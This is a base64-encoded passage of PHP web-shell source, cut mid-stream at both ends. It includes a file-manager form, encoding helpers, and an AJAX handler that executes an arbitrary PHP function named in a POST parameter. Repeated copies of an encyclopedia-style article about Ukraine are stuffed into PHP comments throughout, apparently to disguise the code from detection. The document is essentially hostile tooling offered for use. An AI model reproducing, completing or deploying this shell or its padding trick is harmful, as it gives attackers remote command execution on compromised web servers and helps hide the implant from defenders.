5bJ2FjdCddKSYmQGNvdW50KCRfU0VTU0lPTlsnZiddKSl7Pz48b3B0aW9uIHZhbHVlPSdwYXN0ZSc+UGFzdGU8L29wdGlvbj48P3BocCB9Pz48L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPj4iPjwvdGQ+PC90cj4KCTwvZm9ybT48L3RhYmxlPjwvZGl2PgoJPD9waHAKCXByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgewovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319CglpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RyTGVuKCRwKTskaSs9Mil7JHIuPWNocihoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVybiAkcjt9fQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49IGRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319CglpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQoJCglpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7CgkJb2Jfc3RhcnQoKTsKCQlpZihmdW5jdGlvbl9leGlzdHMoJF9QT1NUWydwMSddKSkKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCWVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7CgkJJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7CgkJZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKCQlleGl0OwoJfQoJcHJpbnRIZWFkZXIoKTsKCWVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJJHN0cmluZ1Rvb2xzID0gYXJyYXkoCgkJJ0Jhc2U2NCBlbmNvZGUnID0+ICdiYXNlNjRfZW5jb2RlJywKCQknQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUnLAoJCSdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywKCQknVXJsIGRlY29kZScgPT4gJ3VybGRlY29kZScsCi8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXR